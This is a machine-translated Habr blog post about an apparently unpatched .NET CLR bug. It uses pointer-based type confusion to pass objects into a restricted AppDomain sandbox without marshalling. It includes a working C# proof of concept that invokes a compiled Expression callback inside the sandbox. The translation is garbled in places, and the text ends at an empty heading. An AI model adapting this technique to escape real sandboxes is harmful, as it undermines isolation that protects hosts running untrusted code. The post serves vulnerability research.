📜 ⬆️ ⬇️

CLR bug: how to drag an object into a sandbox without marshalling and call a callback

Good day! I hope I already won the achievement “learned the author by title” on Habré -) However, today we will speak about a fresh, not yet closed vulnerability in .Net, which was targeted by one person (who will send him an invite to me?) Who wrote me to mail:

Have you tried using IL code to bring objects to string type and transfer to other domains?


At first, I did not understand it, but then I was born a sample of the code that forwards any object of the type located in the SharedDomain to the sandbox and allows its methods to be used WITHOUT marshalling.
')
Hole, on the one hand, it is quite difficult to call, because the ground for this must prepare the host. And not the most usual way, it should be noted. But on the other hand ... Yes it is bug

The first thing we need is the now common methods of EntityPtr.ToPointer () and * .ToInstance () of DotNetEx . Their combination causes the object to be incompatible. Those. to the type that he is not:
string str = EntityPtr.ToInstance<string>(EntityPtr.ToPointer(new List<int>())); 

Naturally, if you call any method on such a “string”, nothing happens: Exception will crash (except for virtual methods from object - their positions in the Wirth table of the methods will coincide with those defined in our type and the call will occur correctly)

However, since the string is already a serialized object, then when marshalling, it is passed by reference, without copying. This means that we can throw it into a method whose code is executed in the sandbox and there inside it can be casting back to type.

I'll start right away with delicious:
 private void methodInsideAppDomain(string str) { object tmp = str; var act = (Action)tmp; act(); } public static void Go(string startingIntPtr) { // make appdomain var permissions = new PermissionSet(PermissionState.None); permissions.AddPermission(new SecurityPermission(SecurityPermissionFlag.Execution)); var dom = AppDomain.CreateDomain("PseudoIsolated", null, new AppDomainSetup { ApplicationBase = AppDomain.CurrentDomain.BaseDirectory }, permissions); // create object instance var asmname = typeof (AppDomainRunner).Assembly.FullName; var typename = typeof (AppDomainRunner).FullName; var instance = (AppDomainRunner)dom.CreateInstanceAndUnwrap(asmname, typename); // enumerate objects from outside area to our appdomain area instance.methodInsideAppDomain(startingIntPtr); } } class Program { static void Main(string[] args) { Expression<Action> expression = () => Console.WriteLine("Surprise, motherf*ckers!"); AppDomainRunner.Go(EntityPtr.ToInstance<string>(EntityPtr.ToPointer(expression.Compile()))); Console.ReadKey(); } } 

Will display a greeting on the screen.

So what will work:
  1. Dragging objects of any type with casting inside the sandbox into the type from Shared Domain.
  2. If you call the virtual methods of the base class, which is located in the Shared Domain and which you have redefined to your own, your
  3. If you pass as an Action, the compiled Expression will also be called. But at the same time, it will also be called up in the sandbox, since there will not be a switch of the domain that goes during marshalling.


What can not:
  1. To bring to your type in the sandbox, because in the sandbox the type and everything connected with it is loaded a second time and you will not get the same type: physically, type descriptors in different domains will be at different addresses, which means InvalidCastException.
  2. As an action, give the usual delegates to your code. Delegates either check the domain or the call inside the domain goes by near jmp, while the domains have different code selectors ... In general, the call drops. Expression needs to be done.
  3. Even if you don't need to type the type (we give the List <CustomType>, we get list.First (). DoSomething ()), nothing works anyway. It is necessary to work through the base type.


What affects:

Source: https://habr.com/ru/post/249135/


All Articles